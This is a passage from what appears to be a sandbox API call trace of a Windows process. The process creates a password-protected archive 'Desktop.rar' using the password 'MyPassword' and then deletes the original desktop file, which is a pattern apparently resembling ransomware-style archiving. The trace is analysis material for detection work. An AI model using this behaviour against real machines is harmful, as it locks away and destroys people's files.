lpMem=0x1ec0dde2a30 | out: hHeap=0x1ec0a590000) returned 1 [0071.024] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0071.024] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0071.024] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.024] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd6b0*=0) returned 0x4edbaa [0071.024] SetFilePointer (in: hFile=0x32c, lDistanceToMove=36, lpDistanceToMoveHigh=0xe414dd680*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd680*=0) returned 0x4edbce [0071.024] CryptUnprotectMemory (in: pDataIn=0xe414dd530, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd530) returned 1 [0071.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd4b0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0071.024] CryptUnprotectMemory (in: pDataIn=0xe414dd010, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd010) returned 1 [0071.024] CryptUnprotectMemory (in: pDataIn=0xe414dd010, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd010) returned 1 [0071.024] CryptUnprotectMemory (in: pDataIn=0xe414dd010, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd010) returned 1 [0071.024] CryptProtectMemory (in: pDataIn=0x1ec0a65c5ae, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1ec0a65c5ae) returned 1 [0071.024] SetFilePointer (in: hFile=0x32c, lDistanceToMove=5168042, lpDistanceToMoveHigh=0xe414dd670*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd670*=0) returned 0x4edbaa [0071.024] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9d50*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9d50*=0) returned 0x4edbaa [0071.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde3180 [0071.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde31e0 [0071.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2a60 [0071.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2df0 [0071.024] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2a60 | out: hHeap=0x1ec0a590000) returned 1 [0071.024] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde31e0 | out: hHeap=0x1ec0a590000) returned 1 [0071.024] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde3180, Size=0x48) returned 0x1ec0a656a60 [0071.024] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a656a63*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xe414d8390, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a656a63*, lpNumberOfBytesWritten=0xe414d8390*=0x24, lpOverlapped=0x0) returned 1 [0071.025] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2df0 | out: hHeap=0x1ec0a590000) returned 1 [0071.025] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656a60 | out: hHeap=0x1ec0a590000) returned 1 [0071.025] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd670*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd670*=0) returned 0x4edbce [0071.025] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0071.025] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.025] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0071.025] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.025] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ff56040 | out: hHeap=0x1ec0a590000) returned 1 [0071.123] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0df48040 | out: hHeap=0x1ec0a590000) returned 1 [0071.461] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0c04ae50 | out: hHeap=0x1ec0a590000) returned 1 [0071.461] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dc38090 | out: hHeap=0x1ec0a590000) returned 1 [0071.465] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec1076b040 | out: hHeap=0x1ec0a590000) returned 1 [0071.469] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec1087a040 | out: hHeap=0x1ec0a590000) returned 1 [0071.637] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dcb80a0 | out: hHeap=0x1ec0a590000) returned 1 [0071.641] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dcf80b0 | out: hHeap=0x1ec0a590000) returned 1 [0071.648] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec1188c040 | out: hHeap=0x1ec0a590000) returned 1 [0071.975] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec1349b040 | out: hHeap=0x1ec0a590000) returned 1 [0072.046] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dd89160 | out: hHeap=0x1ec0a590000) returned 1 [0072.046] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dd91200 | out: hHeap=0x1ec0a590000) returned 1 [0072.046] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dd992a0 | out: hHeap=0x1ec0a590000) returned 1 [0072.047] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dda1340 | out: hHeap=0x1ec0a590000) returned 1 [0072.047] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec138a5040 | out: hHeap=0x1ec0a590000) returned 1 [0072.056] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=32, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0072.071] WaitForSingleObject (hHandle=0x354, dwMilliseconds=0xffffffff) returned 0x0 [0072.071] CloseHandle (hObject=0x354) returned 1 [0072.071] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xffffffff) returned 0x0 [0072.071] CloseHandle (hObject=0x358) returned 1 [0072.071] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0xffffffff) returned 0x0 [0072.071] CloseHandle (hObject=0x35c) returned 1 [0072.071] WaitForSingleObject (hHandle=0x360, dwMilliseconds=0xffffffff) returned 0x0 [0072.071] CloseHandle (hObject=0x360) returned 1 [0072.071] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0xffffffff) returned 0x0 [0072.071] CloseHandle (hObject=0x364) returned 1 [0072.072] WaitForSingleObject (hHandle=0x368, dwMilliseconds=0xffffffff) returned 0x0 [0072.072] CloseHandle (hObject=0x368) returned 1 [0072.072] WaitForSingleObject (hHandle=0x36c, dwMilliseconds=0xffffffff) returned 0x0 [0072.072] CloseHandle (hObject=0x36c) returned 1 [0072.072] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0xffffffff) returned 0x0 [0072.072] CloseHandle (hObject=0x370) returned 1 [0072.072] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0072.072] CloseHandle (hObject=0x374) returned 1 [0072.072] WaitForSingleObject (hHandle=0x378, dwMilliseconds=0xffffffff) returned 0x0 [0072.072] CloseHandle (hObject=0x378) returned 1 [0072.072] WaitForSingleObject (hHandle=0x37c, dwMilliseconds=0xffffffff) returned 0x0 [0072.072] CloseHandle (hObject=0x37c) returned 1 [0072.072] WaitForSingleObject (hHandle=0x380, dwMilliseconds=0xffffffff) returned 0x0 [0072.072] CloseHandle (hObject=0x380) returned 1 [0072.072] WaitForSingleObject (hHandle=0x384, dwMilliseconds=0xffffffff) returned 0x0 [0072.072] CloseHandle (hObject=0x384) returned 1 [0072.072] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0 [0072.072] CloseHandle (hObject=0x388) returned 1 [0072.072] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0xffffffff) returned 0x0 [0072.072] CloseHandle (hObject=0x38c) returned 1 [0072.072] WaitForSingleObject (hHandle=0x390, dwMilliseconds=0xffffffff) returned 0x0 [0072.072] CloseHandle (hObject=0x390) returned 1 [0072.072] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0xffffffff) returned 0x0 [0072.072] CloseHandle (hObject=0x394) returned 1 [0072.072] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0xffffffff) returned 0x0 [0072.073] CloseHandle (hObject=0x398) returned 1 [0072.073] WaitForSingleObject (hHandle=0x39c, dwMilliseconds=0xffffffff) returned 0x0 [0072.073] CloseHandle (hObject=0x39c) returned 1 [0072.073] WaitForSingleObject (hHandle=0x3a0, dwMilliseconds=0xffffffff) returned 0x0 [0072.073] CloseHandle (hObject=0x3a0) returned 1 [0072.073] WaitForSingleObject (hHandle=0x3a4, dwMilliseconds=0xffffffff) returned 0x0 [0072.073] CloseHandle (hObject=0x3a4) returned 1 [0072.073] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0xffffffff) returned 0x0 [0072.073] CloseHandle (hObject=0x3a8) returned 1 [0072.074] WaitForSingleObject (hHandle=0x3ac, dwMilliseconds=0xffffffff) returned 0x0 [0072.074] CloseHandle (hObject=0x3ac) returned 1 [0072.074] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0xffffffff) returned 0x0 [0072.074] CloseHandle (hObject=0x3b0) returned 1 [0072.074] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0xffffffff) returned 0x0 [0072.074] CloseHandle (hObject=0x3b4) returned 1 [0072.074] WaitForSingleObject (hHandle=0x3b8, dwMilliseconds=0xffffffff) returned 0x0 [0072.074] CloseHandle (hObject=0x3b8) returned 1 [0072.074] WaitForSingleObject (hHandle=0x3bc, dwMilliseconds=0xffffffff) returned 0x0 [0072.074] CloseHandle (hObject=0x3bc) returned 1 [0072.074] WaitForSingleObject (hHandle=0x3c0, dwMilliseconds=0xffffffff) returned 0x0 [0072.074] CloseHandle (hObject=0x3c0) returned 1 [0072.074] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xffffffff) returned 0x0 [0072.074] CloseHandle (hObject=0x3c4) returned 1 [0072.074] WaitForSingleObject (hHandle=0x3c8, dwMilliseconds=0xffffffff) returned 0x0 [0072.074] CloseHandle (hObject=0x3c8) returned 1 [0072.074] WaitForSingleObject (hHandle=0x3cc, dwMilliseconds=0xffffffff) returned 0x0 [0072.074] CloseHandle (hObject=0x3cc) returned 1 [0072.074] WaitForSingleObject (hHandle=0x3d0, dwMilliseconds=0xffffffff) returned 0x0 [0072.074] CloseHandle (hObject=0x3d0) returned 1 [0072.074] CloseHandle (hObject=0x340) returned 1 [0072.074] CloseHandle (hObject=0x344) returned 1 [0072.074] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a65e370 | out: hHeap=0x1ec0a590000) returned 1 [0072.074] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0de36040 | out: hHeap=0x1ec0a590000) returned 1 [0072.079] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec13bb0080 | out: hHeap=0x1ec0a590000) returned 1 [0072.079] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0de24130 | out: hHeap=0x1ec0a590000) returned 1 [0072.079] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0de246c0 | out: hHeap=0x1ec0a590000) returned 1 [0072.080] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a662170 | out: hHeap=0x1ec0a590000) returned 1 [0072.080] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0de1b110 | out: hHeap=0x1ec0a590000) returned 1 [0072.080] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0de00400 | out: hHeap=0x1ec0a590000) returned 1 [0072.081] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddf5610 | out: hHeap=0x1ec0a590000) returned 1 [0072.081] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0de1af80 | out: hHeap=0x1ec0a590000) returned 1 [0072.081] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dded600 | out: hHeap=0x1ec0a590000) returned 1 [0072.081] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0de00590 | out: hHeap=0x1ec0a590000) returned 1 [0072.081] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde55f0 | out: hHeap=0x1ec0a590000) returned 1 [0072.081] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0de00270 | out: hHeap=0x1ec0a590000) returned 1 [0072.081] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddd95d0 | out: hHeap=0x1ec0a590000) returned 1 [0072.082] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a661fe0 | out: hHeap=0x1ec0a590000) returned 1 [0072.082] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddd15c0 | out: hHeap=0x1ec0a590000) returned 1 [0072.082] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0c046780 | out: hHeap=0x1ec0a590000) returned 1 [0072.083] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefdd0 | out: hHeap=0x1ec0a590000) returned 1 [0072.084] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6870a0 | out: hHeap=0x1ec0a590000) returned 1 [0072.085] ReleaseSemaphore (in: hSemaphore=0x348, lReleaseCount=32, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0072.085] CloseHandle (hObject=0x348) returned 1 [0072.085] CloseHandle (hObject=0x34c) returned 1 [0072.085] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a65e6d0 | out: hHeap=0x1ec0a590000) returned 1 [0072.085] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dc30080 | out: hHeap=0x1ec0a590000) returned 1 [0072.085] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0c03e770 | out: hHeap=0x1ec0a590000) returned 1 [0072.085] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0c02fde0 | out: hHeap=0x1ec0a590000) returned 1 [0072.087] GetTickCount () returned 0x27e2f [0072.087] GetLastError () returned 0x0 [0072.087] SetLastError (dwErrCode=0x0) [0072.087] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0072.087] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0072.087] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbdd0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0072.087] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0072.146] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd650 | out: lpPerformanceCount=0xe414dd650*=16347419002) returned 1 [0072.146] GetTickCount () returned 0x27e6d [0072.146] GetLastError () returned 0x0 [0072.146] SetLastError (dwErrCode=0x0) [0072.146] GetDlgItem (hDlg=0x10284, nIDDlgItem=154) returned 0x10296 [0072.146] GetWindowTextW (in: hWnd=0x10296, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="00:00:04") returned 8 [0072.146] SetWindowTextW (hWnd=0x10296, lpString="00:00:05") returned 1 [0072.146] GetTickCount () returned 0x27e6d [0072.146] GetLastError () returned 0x0 [0072.146] SetLastError (dwErrCode=0x0) [0072.147] GetDlgItem (hDlg=0x10284, nIDDlgItem=151) returned 0x1029a [0072.147] GetWindowTextW (in: hWnd=0x1029a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="00:00:00") returned 8 [0072.147] GetTickCount () returned 0x27e6d [0072.147] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414dd208 | out: ppv=0xe414dd208*=0x1ec0dde26d0) returned 0x0 [0072.147] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0dde26d0, hwnd=0x10284, tbpFlags=2) returned 0x0 [0072.147] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0dde26d0, hwnd=0x10284, ullCompleted=0x4f8c9e, ullTotal=0x4f8c9e) returned 0x0 [0072.148] TaskbarList:IUnknown:Release (This=0x1ec0dde26d0) returned 0x0 [0072.148] GetLastError () returned 0x36b7 [0072.148] SetLastError (dwErrCode=0x36b7) [0072.148] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0072.148] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0072.148] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414dbdd0, nMaxCount=2560 | out: lpString=" 98%") returned 5 [0072.148] SetWindowTextW (hWnd=0x102a4, lpString=" 100%") returned 1 [0072.149] GetLastError () returned 0x0 [0072.149] SetLastError (dwErrCode=0x0) [0072.149] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0072.149] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414dbdd0, nMaxCount=2560 | out: lpString=" 98%") returned 5 [0072.149] SetWindowTextW (hWnd=0x102a0, lpString=" 99%") returned 1 [0072.150] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x62 [0072.151] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 1 [0072.157] GetMessageW (in: lpMsg=0xe414dd6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd6b0) returned 1 [0072.161] GetFocus () returned 0x102a8 [0072.161] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd6b0) returned 1 [0072.161] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd670*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd670*=0) returned 0x4edbce [0072.162] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd6a0*=0) returned 0x4edbce [0072.162] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2a90 [0072.162] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2a90, Size=0x6e) returned 0x1ec0a659d70 [0072.162] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a659d70, Size=0xa9) returned 0x1ec0a5c6da0 [0072.162] SetFilePointer (in: hFile=0x32c, lDistanceToMove=8, lpDistanceToMoveHigh=0xe414dd670*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd670*=0) returned 0x8 [0072.162] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9d50*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9d50*=0) returned 0x8 [0072.162] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde28b0 [0072.162] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2f70 [0072.162] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2eb0 [0072.162] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2f40 [0072.162] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2eb0 | out: hHeap=0x1ec0a590000) returned 1 [0072.162] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2f70 | out: hHeap=0x1ec0a590000) returned 1 [0072.162] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0dde28b3*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0xe414d8390, lpOverlapped=0x0 | out: lpBuffer=0x1ec0dde28b3*, lpNumberOfBytesWritten=0xe414d8390*=0x11, lpOverlapped=0x0) returned 1 [0072.163] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2f40 | out: hHeap=0x1ec0a590000) returned 1 [0072.163] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde28b0 | out: hHeap=0x1ec0a590000) returned 1 [0072.163] SetFilePointer (in: hFile=0x32c, lDistanceToMove=5168078, lpDistanceToMoveHigh=0xe414dd670*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd670*=0) returned 0x4edbce [0072.163] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd5d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd5d0*=0) returned 0x4edbce [0072.163] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2c10 [0072.163] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2c10 | out: hHeap=0x1ec0a590000) returned 1 [0072.163] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9c80*=0) returned 0x4edbce [0072.163] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde29d0 [0072.163] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0dde29d3*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0xe414d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1ec0dde29d3*, lpNumberOfBytesWritten=0xe414d82c0*=0x13, lpOverlapped=0x0) returned 1 [0072.163] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde29d0 | out: hHeap=0x1ec0a590000) returned 1 [0072.163] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a677090*, nNumberOfBytesToWrite=0x12c3, lpNumberOfBytesWritten=0xe414dd6b0, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a677090*, lpNumberOfBytesWritten=0xe414dd6b0*=0x12c3, lpOverlapped=0x0) returned 1 [0072.164] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c6da0 | out: hHeap=0x1ec0a590000) returned 1 [0072.164] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414db6c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414db6c0*=0) returned 0x4eeea4 [0072.164] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d7da0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d7da0*=0) returned 0x4eeea4 [0072.164] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde27f0 [0072.164] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0dde27f3*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xe414d63e0, lpOverlapped=0x0 | out: lpBuffer=0x1ec0dde27f3*, lpNumberOfBytesWritten=0xe414d63e0*=0x8, lpOverlapped=0x0) returned 1 [0072.164] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde27f0 | out: hHeap=0x1ec0a590000) returned 1 [0072.164] CloseHandle (hObject=0x32c) returned 1 [0072.449] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x33f, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="Deleting") returned 0x8 [0072.449] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x60) returned 0x1ec0ddfdc90 [0072.449] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfdc90 | out: hHeap=0x1ec0a590000) returned 1 [0072.449] DeleteFileW (lpFileName="_wLo_T-_xHQoQCx.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\_wlo_t-_xhqoqcx.mp4")) returned 1 [0072.499] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0072.499] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0072.499] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="adding") returned 6 [0072.499] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0072.500] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0072.500] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="t1UTy") returned 5 [0072.500] SetWindowTextW (hWnd=0x1028c, lpString="_wLo_T-_xHQoQCx.mp4") returned 1 [0072.501] GetTickCount () returned 0x27fd4 [0072.501] UpdateWindow (hWnd=0x10284) returned 1 [0072.502] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0072.502] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0072.502] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0072.502] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0072.502] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="_wLo_T-_xHQoQCx.mp4") returned 19 [0072.502] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0072.502] GetTickCount () returned 0x27fd4 [0072.502] GetLastError () returned 0x0 [0072.502] SetLastError (dwErrCode=0x0) [0072.502] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0072.502] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0072.502] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0072.502] SetWindowTextW (hWnd=0x1028e, lpString=" 2%") returned 1 [0072.503] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x2, lParam=0x0) returned 0x0 [0072.503] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16383172666) returned 1 [0072.503] GetTickCount () returned 0x27fd4 [0072.503] GetTickCount () returned 0x27fd4 [0072.503] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0072.503] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0072.503] GetFocus () returned 0x102a8 [0072.503] IsDialogMessageW (hDlg=0x10284, 